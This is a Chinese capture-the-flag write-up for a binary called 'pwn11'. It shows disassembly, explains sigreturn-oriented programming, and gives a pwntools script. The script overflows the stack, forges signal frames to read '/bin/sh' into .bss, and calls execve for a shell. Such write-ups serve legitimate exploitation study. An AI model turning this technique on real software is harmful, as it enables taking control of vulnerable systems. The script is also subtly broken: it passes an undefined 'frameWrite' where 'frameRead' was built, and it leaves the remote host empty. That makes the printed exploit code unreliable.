分析
函数分析
通过ida可以找到题目给了一个gadget
.text:000000000040110A 55 push rbp
.text:000000000040110B 48 89 E5 mov rbp, rsp
.text:000000000040110E 48 C7 C0 00 00 00 00 mov rax, 0
.text:0000000000401115 48 C7 C7 00 00 00 00 mov rdi, 0 ; fd
.text:000000000040111C 48 8D 75 F0 lea rsi, [rbp+buf] ; buf
.text:0000000000401120 48 C7 C2 00 02 00 00 mov rdx, 200h ; count
.text:0000000000401127 0F 05 syscall ; LINUX - sys_read
.text:0000000000401129 C3 retn
从main函数中可以看到这里使用了syscall,而syscall在调用哪个函数在此处是由rax的值决定的,溢出点可以确定在main函数的read中,偏移是0x10
.text:0000000000401131 F3 0F 1E FA endbr64
.text:0000000000401135 55 push rbp
.text:0000000000401136 48 89 E5 mov rbp, rsp
.text:0000000000401139 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:0000000000401140 C3 retn
在gadget中可以看到有一个 mov rax,0Fh ,在syscall中,rt_sigreturn的系统调用号就是0Fh,到这里可以大致确定使用的是srop
srop背景
在 UNIX 和类 UNIX 系统中,当一个程序接收到信号(如 SIGINT 或 SIGSEGV)时,操作系统会暂停当前的程序执行,保存程序的上下文(包括所有寄存器的状态),然后跳转到信号处理函数。一旦信号处理完成,rt_sigreturn 系统调用被用来恢复保存的程序上下文,并继续执行原程序。
SROP 攻击概述
SROP 攻击利用 rt_sigreturn 来控制程序的执行流程。这种攻击的关键在于构造一个伪造的信号帧(包含寄存器的状态),然后通过程序中的漏洞(如栈溢出)引导程序执行 rt_sigreturn,从而使操作系统恢复这个伪造的信号帧。
解题
流程
1. 构造信号帧
攻击者首先构造一个伪造的信号帧,这个帧包含了被恢复的所有寄存器的值,包括程序计数器(PC)、栈指针(SP)等。
2. 触发 rt_sigreturn
通过某种方式(例如栈溢出)将程序的执行流程引导到 syscall 指令,并使得相应的寄存器设置为 rt_sigreturn 的系统调用号。
3. 利用恢复的上下文执行代码
当 rt_sigreturn 被调用时,它将从伪造的信号帧中恢复寄存器状态,包括 PC。这允许攻击者控制程序接下来的执行流程。
思路
首先让栈溢出,使其溢出到mov rax,0Fh(在gadget中),然后使其retn之syscall,至此就可以完成rt_sigreturn的调用,接着构造一个信号帧,使用pwntool中的SigreturnFrame(),信号帧中设置好寄存器的值,此处未想到其他‘/bin/sh’字符串的来源,故此处使用read函数读取‘/bin/sh’,将字符串存至bss段中,接着再返回之syscall中调用execve函数
exp
from pwn import *
sh=remote('',)
syscallAddr=0x401127
elf=ELF('./pwn11')
gadgetAddr=0x401139
binshStr=elf.bss(0)
rspAddr=elf.bss(8)
context.arch = "amd64"
frameRead = SigreturnFrame()
frameRead.rax = 0
frameRead.rdi = 0
frameRead.rsi = binshStr
frameRead.rdx = 0x1000
frameRead.rip = syscallAddr
frameRead.rsp = rspAddr
payload=b'A'*16+p64(gadgetAddr)+p64(syscallAddr)+bytes(frameWrite)
sh.send(payload)
frameExecve = SigreturnFrame()
frameExecve.rax = 59 # execve 系统调用号
frameExecve.rdi = binshStr
frameExecve.rsi = 0
frameExecve.rdx = 0
frameExecve.rip = syscallAddr
frameExecve.rsp = rspAddr
payload1=b'/bin/sh\x00'+p64(gadgetAddr)+p64(syscallAddr)+bytes(frameExecve)
sh.send(payload1)
sh.interactive()